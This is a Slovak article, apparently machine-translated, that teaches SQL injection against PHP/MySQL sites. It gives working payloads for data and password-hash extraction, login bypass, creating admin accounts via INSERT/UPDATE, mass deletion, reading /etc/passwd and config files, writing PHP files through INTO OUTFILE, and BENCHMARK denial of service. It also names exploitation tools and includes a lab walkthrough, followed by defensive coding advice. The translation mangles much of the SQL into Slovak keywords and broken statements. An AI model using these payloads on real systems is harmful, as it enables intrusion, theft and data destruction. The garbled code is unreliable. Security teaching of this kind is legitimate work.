SQL injekcia. Čo to je? Ako zistiť verzie MySQL

Neopatrnosť a nepozornosť sú dva dôvody pre písanie kódu, ktorý je zraniteľný voči SQL injekciám. Tretí dôvod – neznalosť, by mal podnietiť programátora k prehĺbeniu vedomostí či dokonca k zmene povolania.

SQL injekcia ( SQL injekcia) - zraniteľnosť ku ktorému dochádza v dôsledku nedostatočného overenia a spracovania údajov, ktoré sú prenášané od používateľa a umožňuje vám upravovať a vykonávať dotazy neočakávané kódom programu SQL.

SQL injection je rozšírená bezpečnostná chyba na internete, ktorá sa dá ľahko zneužiť bez špeciálnych programov a nevyžaduje rozsiahle technické znalosti. Využitie tejto zraniteľnosti otvára dvere skvelým príležitostiam, ako sú:

  • krádež dát – 80 %;
  • odmietnutie služby - 10 percent;
  • nahradenie alebo zničenie údajov - 2-3%;
  • iné prípady a zámery.

Existujú aj rôzne programy na testovanie bezpečnosti webových stránok pre všetky druhy injekcií JS a SQL.

Podrobné vysvetlenie

V tomto článku sa pokúsim vysvetliť hlavné riziká, ktoré vznikajú pri interakcii s databázou MySQL. Pre názornosť uvediem príklad jednoduchej databázovej štruktúry, ktorá je typická pre väčšinu projektov:

VYTVORIŤ DATABÁZU „novinky“; POUŽÍVAJTE "novinky"; # # tabuľka noviniek # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) predvolená NULL, `date` datetime default NULL, `text` text, PRIMÁRNY KĽÚČ (`id` )) TYPE=MyISAM; # # pridať nejaké údaje # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" text správy"; INSERT `news` SET `id`="2", `title`="druhá správa", `date`="2005-06-24 12:12:33", `text`="test news"; # # tabuľka používateľov # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) predvolená NULL, `password` varchar(50) predvolená NULL, `admin` int(1) NULL DEFAULT "0", PRIMÁRNY KĽÚČ (`id`)) TYPE=MyISAM; # # pridajte niekoľko používateľov, jeden s právami správcu, druhý jednoduchý # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Vidíme, že požiadavka sa generuje v závislosti od hodnoty $_GET["id"]. Na kontrolu prítomnosti zraniteľnosti stačí zmeniť ju na hodnotu, ktorá môže spôsobiť chybu pri vykonávaní SQL dotazu.

Samozrejme, nemusí dôjsť k žiadnemu chybovému výstupu, ale to neznamená, že v dôsledku toho k chybe nedošlo

"Máte chybu v syntaxi SQL; skontrolujte príručku, ktorá zodpovedá verzii vášho servera MySQL, kde nájdete správnu syntax, ktorá sa má použiť v blízkosti """ v riadku 1"

alebo výsledok

http://test.com/index.php?id=2-1

ak existuje zraniteľnosť, mala by priniesť výsledok podobný ako

http://test.com/index.php?id=1.

Podobné zraniteľnosti vám umožní upraviť požiadavku v časti parametra WHERE. Prvá vec, ktorú útočník urobí, keď zistí takúto zraniteľnosť, je preskúmať, koľko polí je použitých v žiadosti. Na tento účel sa nastaví úmyselne nesprávne id, aby sa vylúčil výstup skutočných informácií, a skombinuje sa s požiadavkou s rovnakým počtom prázdnych polí.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

počet "nulových hodnôt" musí zodpovedať počtu polí, ktoré sú použité v žiadosti.

Ak dotaz vyvolá chybu, pridáva sa ďalšia prázdna hodnota, kým chyba nezmizne a nevráti sa výsledok s prázdnymi údajmi. Ďalej sú kombinované polia nahradené hodnotami, ktoré je možné vizuálne pozorovať na stránke.

Napríklad:

http://test.com/index.php?id=-1+UNION+SELECT+null

Teraz sa na stránke, kde sa mal zobrazovať titulok novinky, objaví qwerty.

Ako zistiť verzie MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Ako získať prihlasovacie meno aktuálneho používateľa databázy?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Aký je názov používanej databázy?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Ako získať ďalšie údaje z iných tabuliek?

SELECT * FROM `novinky` WHERE `id`=-1 UNION SELECT null, `heslo`, null, null FROM `users` WHERE `id`="1";

Toto je jednoduchý spôsob, ako zistiť heslo alebo hash hesla správcu. Ak má aktuálny používateľ prístupové práva k databáze „mysql“, útočník bez najmenších problémov dostane hash hesla správcu.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Teraz je jeho výber len otázkou času.

Vyhľadávanie

Vyhľadávanie je jedným z najzraniteľnejších miest, pretože súčasne sa prenáša veľké množstvo parametrov dopytu. Príklad jednoduchého dopytu, ktorý vyhľadáva podľa kľúčového slova:

VYBERTE * Z „novinky“, KDE „názov“ AKO „%$search%“ ALEBO „text“ AKO „%$search%“

$search je slovo, ktoré sa odošle z formulára. Útočník môže prejsť $search="# v premennej, teraz bude požiadavka vyzerať takto:

SELECT * FROM `news` WHERE `title` AKO "%"#%" ALEBO "text" AKO "%"#%";

Preto sa namiesto výsledkov vyhľadávania pre kľúčové slovo zobrazia všetky údaje. To vám tiež umožňuje používať funkciu agregácie dopytov opísanú vyššie.

Pomocou parametra ORDER

Často sa môžete stretnúť s tým, že pri zadávaní parametrov vyhľadávania, prípadne zobrazovaní informácií, umožňujú užívateľovi triediť dáta podľa určitých polí. Hneď poviem, že použitie tejto zraniteľnosti nie je príliš nebezpečné, pretože spôsobí chybu pri pokuse o kombináciu požiadaviek, ale v kombinácii so zraniteľnosťami v iných oblastiach existuje nebezpečenstvo komentovania tohto parametra.

http://test.com/index.php?sort=name

parameter ORDER sa tvorí v závislosti od premennej $triediť

Vygeneruje sa nasledujúca žiadosť:

VYBERTE * Z `správ` KDE `názov` AKO "%"/*%" ALEBO `text` AKO "%"/*%" OBJEDNAŤ PODĽA */

čím okomentujete jednu z podmienok a parameter OBJEDNÁVKA

Teraz môžete dotaz znova skombinovať priradením $sort=*/ UNION SELECT...

Ako možnosť využiť zraniteľnosť tohto parametra:

SELECT * FROM `users` ORDER BY LENGTH(heslo);

Umožní vám triediť používateľov v závislosti od dĺžky hesla za predpokladu, že je uložené v „čistej“ forme.

Autorizácia

Skúsme teraz zvážiť možnosti pre SQL injekcie, ktoré sa vyskytujú počas autorizácie užívateľa. Požiadavka, ktorá kontroluje správnosť autorizačných údajov, zvyčajne vyzerá takto:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

kde $login a $password sú premenné, ktoré sa odovzdávajú z formulára. Takýto dotaz vráti údaje pre používateľa, ak je úspešný, a prázdny výsledok, ak je neúspešný. Preto, aby mohol útočník prejsť autorizáciou, stačí upraviť požiadavku tak, aby vrátila nenulový výsledok. Je zadané prihlasovacie meno, ktoré zodpovedá skutočnému používateľovi, a namiesto hesla " OR "1"="1" alebo nejaká pravdivá podmienka (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 MEDZI 1 A 3). V súlade s tým bude žiadosť vygenerovaná nasledovne:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

čo vráti výsledok a v dôsledku toho povedie k neoprávnenej autorizácii. Čo ak sú heslá v tabuľke hašované? Potom sa kontrola hesla jednoducho „zakáže“ komentovaním všetkého, čo príde po „prihlásení“. Vo formulári je namiesto prihlasovacieho mena priradené prihlasovacie meno skutočného používateľa a „#, čím sa komentuje kontrola hesla.

SELECT * FROM `users` WHERE `login`="admin"#" A `password`="12345"

ako možnosť "ALEBO `id`=2#

VYBERTE * FROM `users` WHERE `login`="" ALEBO `id`=2#" A `password`="12345"

VYBERTE * FROM `users` WHERE `login`="" ALEBO `admin`="1"#" A `password`="12345"

Veľkou chybou je skontrolovať heslo takto:

VYBERTE * FROM `users` WHERE `login`="$login" A `password` AKO "$password"

pretože v tomto prípade je heslo % vhodné pre akékoľvek prihlásenie

VLOŽIŤ A AKTUALIZOVAŤ

Nie sú to však len SELECTy, ktoré sú slabou stránkou SQL. INSERT a UPDATE nemôžu byť menej zraniteľné. Povedzme, že stránka má možnosť registrovať používateľov. Dopyt, ktorý pridáva nového používateľa:

Zraniteľnosť v jednom z polí umožňuje upraviť požiadavku o potrebné údaje. Do prihlasovacieho poľa pridáme používateľa, „heslo“, 1)#, čím pridáme používateľa s právami správcu.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Predpokladajme, že pole `admin` sa nachádza pred poľom `login`, takže trik s nahradením údajov, ktoré prichádzajú po poli `login` nefunguje. Pripomeňme si, že syntax príkazu INSERT umožňuje pridať nielen jeden riadok, ale hneď niekoľko. Príklad zraniteľnosti v poli prihlásenia: $login= user", "password"), (1, "hacker", "password")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "user", "password"), (1, "hacker", "password")#", "password") ;

Týmto spôsobom sa vytvoria 2 záznamy, jeden s právami jednoduchého užívateľa, druhý s požadovanými administrátorskými právami.

Podobná situácia s UPDATE

Pridanie ďalších polí na zmenu:

$login=", `password`="", `admin`="1

Potom podobná žiadosť

UPDATE `users` SET `login`="čajník" WHERE `id`=2;

Upravené takto:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Čo sa bude diať? Používateľ s ID 2 zmení prihlasovacie meno a heslo na prázdne hodnoty a získa práva správcu. Alebo v prípade

$login=", `password`="" KDE `id` =1#

Prihlasovacie meno a heslo správcu budú prázdne.

VYMAZAŤ

Všetko je tu jednoduché, nebudete môcť získať ani zmeniť žiadne údaje, ale vždy môžete vymazať nepotrebné údaje.

$id=1 ALEBO 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // vymaže všetky položky v tabuľke.

Namiesto 1=1 môže existovať akákoľvek pravdivá podmienka uvedená vyššie. Parameter LIMIT je možné uložiť, čím sa obmedzí počet vymazaných riadkov, ale nie vždy, dá sa jednoducho zakomentovať.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Práca so súbormi cez SQL injection

Vážne pochybujem, že sa to môže stať kdekoľvek, ale aby som bol spravodlivý, treba opísať aj takéto metódy. Keď sú povolené privilégiá súboru, môžete použiť príkazy LOAD_FILE a OUTFILE.

Ich nebezpečenstvo možno posúdiť z nasledujúcich otázok:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `novinky` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Tým sa však všetky trápenia ešte nekončia.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` do výstupného súboru "/home/test/www/test.php";

Takto napíšeme súbor, ktorý obsahuje PHP kód. Je pravda, že okrem kódu v ňom bude niekoľko ďalších nulových položiek, ale to nijako neovplyvní výkon kódu PHP. Existuje však niekoľko podmienok, kvôli ktorým budú tieto metódy fungovať:

  • Pre aktuálneho užívateľa databázy je povolené privilégium FILE;
  • Práva na čítanie alebo zápis týchto súborov má používateľ, pod ktorým je spustený server MySQL, absolútna cesta k súboru;
  • menej dôležitou podmienkou je, že veľkosť súboru musí byť menšia ako max_allowed_packet, ale keďže v MySQL 3.23 môže byť najväčšia veľkosť balíka 16 MB a vo verzii 4.0.1 a viac je veľkosť balíka obmedzená iba množstvom dostupnej pamäte, do teoretického maxima 2 GB táto podmienka je zvyčajne vždy dostupná.

Magické citáty

Kúzelné úvodzovky znemožňujú použitie SQL injekcií v reťazcových premenných, pretože automaticky unikajú všetkým " a ", ktoré prichádzajú s $_GET a $_POST. Ale to neplatí pre použitie zraniteľností v celočíselných alebo zlomkových parametroch, aj keď s výnimkou, že nebude možné použiť ". V tomto prípade pomáha funkcia char.

SELECT * FROM `novinky` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS cez SQL injection.

Skoro som zabudol povedať a SQL experti to potvrdia, že operácia UNION je možná len v MySQL >=4.0.0. Ľudia, ktorí majú projekty na predošlých verziách si vydýchli :) Ale nie všetko je také bezpečné, ako to na prvý pohľad vyzerá. Logiku útočníka je niekedy ťažké sledovať. „Ak nedokážem hacknúť, aspoň zlyhám,“ pomyslí si hacker a zadá funkciu BENCHMARK ako príklad žiadosti

SELECT * FROM `novinky` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Trvalo mi to 12 až 15 sekúnd. Pridanie nuly - 174 sekúnd. Jednoducho som nemohol zdvihnúť ruku, aby som urobil viac. Samozrejme, na výkonných serveroch sa takéto veci budú robiť oveľa rýchlejšie, ale...BENCHMARK vám umožňuje investovať jeden po druhom. Páči sa ti to:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Alebo aj takto

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

A počet núl je obmedzený iba „láskavosťou“ toho, kto ich napíše.

Myslím si, že ani VEĽMI výkonný stroj takéto požiadavky len tak ľahko nezhltne.

Spodná čiara

To je všetko. V tomto článku som sa snažil čo najviac pokryť typy zraniteľností, ktoré programátori robia pri vytváraní programov pomocou databáz MySQL. Som si však viac než istý, že toto nie je úplný zoznam.

Je dôležité pamätať na pravidlá proti SQL injekciám

  • Neverte ŽIADNYM údajom, ktoré pochádzajú od používateľa. Nehovoríme len o dátach, ktoré sa prenášajú v poliach $_GET a $_POST. Nezabudnite na $_COOKIE a ďalšie časti HTTP hlavičiek. Mali by ste pamätať na to, že sa dajú ľahko vymeniť.
  • Nemali by ste sa spoliehať na možnosť PHP „magické úvodzovky“, ktorá pravdepodobne viac prekáža ako pomáha. Všetky údaje, ktoré sa prenášajú do databázy, musia byť zhrnuté podľa typu s databázovými poľami. ($id=(int)$_GET["id")] alebo chránené funkciami mysql_real_escape_string alebo mysql_real_escape_string.
  • mysql_real_escape_string neuvádza znaky % a _, preto by sa nemal používať v spojení s LIKE.
  • Nemali by ste sa príliš spoliehať ani na správne napísaný mod_rewrite. Toto sú len spôsoby, ako vytvoriť „pohodlné“ adresy URL, ale určite nie spôsob, ako sa chrániť pred injekciami SQL.
  • Zakázať hlásenie chýb.
  • Nepomáhajte zlým návštevníkom. Aj keď sa chyba zistí, nedostatok informácií o nej vážne sťaží jej uplatnenie. Pamätajte na rozdiel medzi fázou vývoja a pracovným návrhom. Chybový výstup a ďalšie podrobné informácie - váš spojenec vo fáze vývoja a útočníkov spojenec v pracovnej verzii. Nemali by ste ich skrývať ani komentovaním v HTML kóde, na 1000 návštevníkov pripadne 1, ktorý takéto veci ešte nájde.
  • Riešiť chyby.
  • Spracovanie SQL dotazov píšte tak, že informácie o nich budú uložené v nejakých protokoloch alebo odoslané poštou.
  • Neukladajte prístupové údaje k databáze do súborov, ktoré nie sú spracované PHP ako kód.
  • Nemyslím si, že som niekomu objavil Ameriku, ale z vlastnej skúsenosti môžem povedať, že táto prax je celkom bežná. Zvyčajne ide o súbor s príponou *.inc
  • Nevytvárajte databázu „superužívateľa“.
  • Poskytnite iba práva potrebné na vykonávanie konkrétnych úloh.
  • Pri vyhľadávaní sa oplatí obmedziť minimálny a maximálny počet znakov, čo sú parametre dopytu.
  • Poctivému používateľovi stačí 3 až 60 - 70 znakov na uspokojenie záujmov vyhľadávania a zároveň predídete situáciám, keď vyhľadávací dopyt bude objemom „Vojna a mier“.
  • Vždy skontrolujte počet záznamov vrátených po dotaze

Takmer 90% stránok je napísaných v PHP Existuje taká logická chyba, ktorú možno pozorovať najmä pri požiadavke na základe ID prijatého od používateľa. Ak skriptu manuálne pridelíte neexistujúce ID, uvidíme celkom zaujímavé výsledky z práce niektorých skriptov , namiesto toho, aby vrátil 404, program v najlepšom prípade neurobí nič a zobrazí prázdnu stránku.

Bezpečné SQL pre vás.

Počet stránok a stránok na internete neustále rastie. Každý, kto môže, sa ujíma vývoja. A začínajúci weboví programátori veľmi často používajú nebezpečný a starý kód. A to vytvára množstvo medzier pre útočníkov a hackerov. Čo používajú. Jednou z najklasickejších zraniteľností je SQL injection.

Trochu teórie

Mnoho ľudí vie, že väčšina stránok a služieb na internete používa na ich uloženie databázy SQL. Ide o štruktúrovaný dotazovací jazyk, ktorý vám umožňuje spravovať a spravovať dátové sklady. Existuje mnoho rôznych verzií systémov správy databáz - Oracle, MySQL, Postgre. Bez ohľadu na názov a typ používajú dátové dotazy rovnakým spôsobom. V tom spočíva potenciálna zraniteľnosť. Ak vývojár nebol schopný správne a bezpečne spracovať požiadavku, útočník to môže využiť a použiť špeciálnu taktiku na získanie prístupu do databázy a odtiaľ ovládať celú stránku.

Aby ste predišli takýmto situáciám, musíte kód správne optimalizovať a pozorne sledovať, ktorá požiadavka je akým spôsobom spracovaná.

Kontrola SQL injekcií

Na určenie prítomnosti zraniteľností v sieti existuje množstvo hotových automatizovaných softvérových systémov. Jednoduchú kontrolu však môžete vykonať ručne. Ak to chcete urobiť, musíte prejsť na jednu zo stránok, ktoré skúmate, a pokúsiť sa spustiť chybu databázy v paneli s adresou. Napríklad skript na webovej stránke nemusí spracovať požiadavky a nemusí ich odrezať.

Napríklad existuje určitá_stránka/index.php?id=25

Najjednoduchší spôsob je zadať cenovú ponuku po 25 a odoslať požiadavku. Ak nedôjde k žiadnej chybe, všetky požiadavky sú na stránke filtrované a spracované správne, alebo je ich výstup zakázaný v nastaveniach. Ak sa stránka znova načítala s problémami, znamená to, že existuje zraniteľnosť pre vstrekovanie SQL.

Po zistení sa ho môžete pokúsiť zbaviť.

Ak chcete implementovať túto zraniteľnosť, musíte o nej niečo vedieť. Jednou z nich je UNION. Spája viacero výsledkov dotazov do jedného. Týmto spôsobom môžete vypočítať počet polí v tabuľke. Príklad prvej žiadosti vyzerá takto:

  • some_site/index.php?id=25 UNION SELECT 1.

Vo väčšine prípadov by takýto záznam mal generovať chybu. To znamená, že počet polí sa nerovná 1. Výberom možností od 1 a viacerých teda môžete nastaviť ich presný počet:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

To znamená, že keď sa chyba prestane zobrazovať, znamená to, že počet polí je správny.

Existuje aj alternatívne riešenie tohto problému. Napríklad, keď je počet polí veľký - 30, 60 alebo 100. Toto je príkaz GROUP BY. Zoskupuje výsledky dotazov podľa nejakej charakteristiky, napríklad id:

  • some_site/index.php?id=25 GROUP BY 5.

Ak neboli prijaté žiadne chyby, znamená to, že polí je viac ako 5. Nahradením možností z pomerne širokého rozsahu môžete vypočítať, koľko ich v skutočnosti je.

Tento príklad vstrekovania SQL je pre začiatočníkov, ktorí si chcú vyskúšať svoje webové stránky. Je dôležité si uvedomiť, že existuje článok Trestného zákona o neoprávnenom prístupe k cudziemu majetku.

Hlavné typy injekcií

Existuje niekoľko možností implementácie zraniteľností prostredníctvom vstrekovania SQL. Nasledujúce sú najobľúbenejšie metódy:

    UNION vstrekovanie. Jednoduchý príklad tohto typu už bol diskutovaný vyššie. Realizuje sa z dôvodu chyby pri kontrole prichádzajúcich údajov, ktoré nie sú nijako filtrované.

    Injekcia SQL založená na chybách. Ako už názov napovedá, tento typ tiež využíva chyby odosielaním výrazov, ktoré sú syntakticky nesprávne. Potom sa zachytia hlavičky odpovedí, ktoré sa analyzujú a môžu sa následne použiť na vykonanie injekcie SQL.

    Skladaná injekcia. Táto zraniteľnosť je určená vykonávaním sekvenčných požiadaviek. Vyznačuje sa pridaním „;“ na koniec. Tento prístup sa najčastejšie implementuje na prístup k implementácii čítania a zápisu údajov alebo na ovládanie funkcií operačného systému, ak to privilégiá umožňujú.

Softvérové ​​systémy na vyhľadávanie zraniteľností SQL

Programy, ktoré sú k dispozícii na vykonávanie injekcií SQL, majú zvyčajne dve zložky – skenovanie lokality na možné zraniteľnosti a ich použitie na získanie prístupu k údajom. Takéto nástroje existujú pre takmer všetky známe platformy. Ich funkčnosť výrazne uľahčuje kontrolu stránky na možnosť hacknutia pomocou SQL injection.

Sqlmap

Veľmi výkonný skener, ktorý pracuje s väčšinou známych DBMS. Podporuje rôzne techniky vstrekovania SQL. Má schopnosť automaticky rozpoznať typ hash hesla a prelomiť ho pomocou slovníka. K dispozícii je tiež funkcia na sťahovanie a nahrávanie súborov zo servera.

Inštalácia v prostredí Linuxu sa vykonáva pomocou príkazov:

  • git klon https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Pre Windows je k dispozícii príkazový riadok aj možnosť grafického používateľského rozhrania.

jSQL Injection

jSQL Injection je multiplatformový nástroj na testovanie zneužitia zraniteľností SQL. Napísané v jazyku Java, takže JRE musí byť nainštalované v systéme. Schopný spracovať požiadavky na hlavičky a súbory cookie. Má pohodlné grafické rozhranie.

Inštalácia tohto softvérového balíka prebieha nasledovne:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| hlava-n 1`

Spustite pomocou príkazu java -jar ./jsql-injection-v*.jar

Aby ste mohli začať kontrolovať stránky na chyby zabezpečenia SQL, musíte do horného poľa zadať jeho adresu. Sú oddelené pre GET a pre POST. Ak je výsledok pozitívny, v ľavom okne sa zobrazí zoznam dostupných tabuliek. Môžete si ich prezrieť a zistiť niektoré dôverné informácie.

Ak chcete vyhľadať administratívne panely, použite kartu „Stránka správcu“. Automaticky vyhľadáva systémové záznamy privilegovaných používateľov pomocou špeciálnych šablón. Od nich môžete získať iba hash hesla. Je však k dispozícii aj v nástrojoch programu.

Po nájdení všetkých zraniteľností a zadaní potrebných požiadaviek vám pomôcka umožní nahrať súbor na server alebo naopak stiahnuť ho odtiaľ.

SQLi Dumper v.7

Tento program je ľahko použiteľný nástroj na vyhľadávanie a implementáciu zraniteľností v SQL. OSN to vyrába na základe takzvaných dorks. Ich zoznamy možno nájsť na internete. Kľúčové slová SQL injection sú špeciálne vzory vyhľadávacích dopytov. S ich pomocou ich môžete potenciálne nájsť prostredníctvom akéhokoľvek vyhľadávača.

Školiace nástroje

Stránka itsecgames.com má špeciálnu sadu nástrojov, ktoré vám umožňujú použiť príklady, aby ste ukázali, ako vytvoriť injekciu SQL a otestovať ju. Aby ste ho mohli používať, musíte si ho stiahnuť a nainštalovať. Archív obsahuje súbor súborov, ktoré predstavujú štruktúru lokality. Na jeho inštaláciu budete potrebovať sadu webových serverov Apache, MySQL a PHP dostupných v systéme.

Po rozbalení archívu do priečinka webového servera musíte prejsť na adresu zadanú pri inštalácii tohto softvérového produktu. Otvorí sa stránka registrácie používateľa. Tu musíte zadať svoje údaje a kliknúť na „Vytvoriť“. Po prenesení používateľa do nového okna systém ponúkne výber jednej z možností testovania. Medzi nimi sú opísané injekcie a mnoho ďalších testovacích úloh.

Stojí za to pozrieť sa na príklad SQL injekcie, ako je GET/Search. Tu ho musíte vybrať a kliknúť na „Hack“. Používateľovi sa zobrazí vyhľadávací panel a imitácia určitej stránky s filmami. Filmy môžete prechádzať dlho. Je ich ale len 10. Môžete sa napríklad pokúsiť vstúpiť do Iron Mana. Zobrazí sa film, čo znamená, že stránka funguje a sú na nej tabuľky. Teraz musíme skontrolovať, či skript filtruje špeciálne znaky, najmä citát. Ak to chcete urobiť, musíte do panela s adresou pridať „“ . Okrem toho to musíte urobiť za názvom filmu. Stránka zobrazí chybu Chyba: Máte chybu v syntaxi SQL, skontrolujte príslušnú príručku na verziu vášho servera MySQL, kde nájdete správnu syntax, ktorá sa má použiť blízko "%"" v riadku 1, čo znamená, že znaky sa stále nesprávne spracovávajú. To znamená, že môžete skúsiť nahradiť svoju žiadosť. Najprv však musíte vypočítať počet polí. Na to použite príkaz order by, ktorý sa zadáva za citátom: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Tento príkaz jednoducho zobrazí informácie o filme, to znamená, že počet polí je väčší ako 2. Dvojitá pomlčka hovorí serveru, že ostatné požiadavky by sa mali zahodiť. Teraz musíte opakovať a nahrádzať stále väčšie hodnoty, kým sa nezobrazí chyba. V dôsledku toho sa ukáže, že bude 7 polí.

Teraz je čas získať niečo užitočné z databázy. Budete musieť mierne upraviť požiadavku v paneli s adresou a uviesť ju do tohto tvaru: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4 ,heslo,6, 7 od používateľov --&action=search. V dôsledku jeho vykonania sa zobrazia riadky s hashmi hesiel, ktoré sa dajú jednoducho previesť na zrozumiteľné znaky pomocou niektorej z online služieb. A s trochou mágie a výberom názvu prihlasovacieho poľa môžete získať prístup k záznamu niekoho iného, ​​napríklad správcu stránky.

Produkt má veľa rôznych typov injekcií, s ktorými sa dá praktizovať. Je potrebné pripomenúť, že používanie týchto zručností online alebo na skutočných stránkach môže byť trestne stíhateľné.

Injekcie a PHP

Spravidla je to PHP kód, ktorý je zodpovedný za nevyhnutné spracovanie požiadaviek prichádzajúcich od používateľa. Preto práve na tejto úrovni musíte v PHP vybudovať ochranu proti SQL injekciám.

  • Údaje musia byť pred uložením do databázy vždy spracované. Dá sa to dosiahnuť buď použitím existujúcich výrazov, alebo manuálnym usporiadaním dotazov. Aj tu stojí za zváženie, že číselné hodnoty sa prevedú na typ, ktorý je potrebný;
  • Vyhnite sa výskytu rôznych riadiacich štruktúr v požiadavke.

Teraz trochu o pravidlách pre vytváranie dotazov v MySQL na ochranu pred SQL injekciami.

Pri písaní akýchkoľvek dotazových výrazov je dôležité oddeliť údaje od kľúčových slov SQL.

  • SELECT * FROM table WHERE meno = Zerg.

V tomto dizajne si systém môže myslieť, že Zerg je názov poľa, takže ho treba uzavrieť do úvodzoviek.

  • SELECT * FROM table WHERE name = "Zerg".

Existujú však situácie, keď samotná hodnota obsahuje úvodzovky.

  • SELECT * FROM table WHERE name = "Pobrežie Slonoviny".

Tu bude spracovaná iba časť cat-d a zvyšok môže byť vnímaný ako príkaz, ktorý, samozrejme, neexistuje. Preto sa vyskytne chyba. To znamená, že tento druh údajov je potrebné kontrolovať. Ak to chcete urobiť, použite opačnú lomku - \.

  • SELECT * FROM table WHERE name = "Pobrežie Slonoviny".

Všetko vyššie uvedené platí pre struny. Ak sa akcia vyskytne s číslom, potom nepotrebuje úvodzovky ani lomky. Treba ich však vynútiť konvertovať na požadovaný dátový typ.

Existuje odporúčanie, že názov poľa by mal byť uzavretý v spätnej úvodzovke. Tento symbol sa nachádza na ľavej strane klávesnice spolu so znakom vlnovky „~“. Je to potrebné, aby MySQL mohla presne rozlíšiť názov poľa od kľúčového slova.

Dynamická práca s dátami

Veľmi často sa na získanie akýchkoľvek údajov z databázy používajú dynamicky generované dotazy. Napríklad:

  • SELECT * FROM tabuľky WHERE číslo = "$číslo".

Tu sa premenná $číslo odovzdáva ako definícia hodnoty poľa. Čo sa stane, ak sa do nej dostane Pobrežie Slonoviny?

Samozrejme, týmto problémom sa môžete vyhnúť zapnutím „magických úvodzoviek“ v nastaveniach. Teraz sa však budú údaje preverovať tam, kde je to potrebné a kde nie je potrebné. Okrem toho, ak je kód napísaný ručne, môžete stráviť trochu viac času vytvorením systému odolného voči hackingu.

Ak chcete pridať lomku sami, môžete použiť mysql_real_escape_string.

$cislo=mysql_real_escape_string($cislo);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (číslo,rok,trieda) HODNOTY ("$číslo","$rok",11)".

Hoci objem kódu narástol, stále bude potenciálne fungovať oveľa bezpečnejšie.

Zástupné symboly

Zástupné symboly sú jedinečné značky, pomocou ktorých systém vie, že na toto miesto je potrebné vložiť špeciálnu funkciu. Napríklad:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $cislo);

$sate->execute();

Táto časť kódu pripraví šablónu požiadavky, potom naviaže premennú čísla a vykoná ju. Tento prístup vám umožňuje oddeliť spracovanie požiadaviek a ich implementáciu. Týmto spôsobom sa môžete chrániť pred použitím vstrekovania škodlivého kódu do SQL dotazov.

Čo môže útočník urobiť?

Ochrana systému je veľmi dôležitým faktorom, ktorý nemožno zanedbať. Jednoduchú webovú stránku s vizitkou bude samozrejme jednoduchšie obnoviť. Čo ak ide o veľký portál, službu, fórum? Aké následky to môže mať, ak nemyslíte na bezpečnosť?

Po prvé, hacker môže narušiť integritu databázy a úplne ju vymazať. A ak správca stránky alebo hostiteľ nevytvoril zálohu, bude to ťažké. Útočník, ktorý hackol jednu lokalitu, sa navyše môže presunúť na iné stránky hosťované na rovnakom serveri.

Nasleduje krádež osobných údajov návštevníkov. Spôsob ich použitia je obmedzený iba hackerovou predstavivosťou. Ale v každom prípade dôsledky nebudú veľmi príjemné. Najmä ak obsahoval finančné informácie.

Útočník môže tiež prezradiť databázu sám sebe a potom vymáhať peniaze za jej vrátenie.

Negatívne dôsledky môžu mať aj nesprávne informácie používateľov v mene inej osoby, pretože sú možné prípady podvodu.

Záver

Všetky informácie v tomto článku slúžia len na informačné účely. Mali by ste ho používať iba na testovanie vlastných projektov pri identifikácii a odstraňovaní zraniteľností.

Pre hlbšiu štúdiu metodológie, ako vykonať injekciu SQL, musíte začať skutočným skúmaním možností a vlastností jazyka SQL. Ako sa skladajú dopyty, kľúčové slová, dátové typy a aplikácia toho všetkého.

Tiež sa nezaobídete bez toho, aby ste pochopili, ako fungujú funkcie PHP a prvky HTML. Hlavnými zraniteľnými miestami pri používaní injekcií sú panel s adresou, vyhľadávanie a rôzne polia. Štúdium funkcií PHP, ich implementácie a ich schopností vám pomôže pochopiť, ako sa môžete vyhnúť chybám.

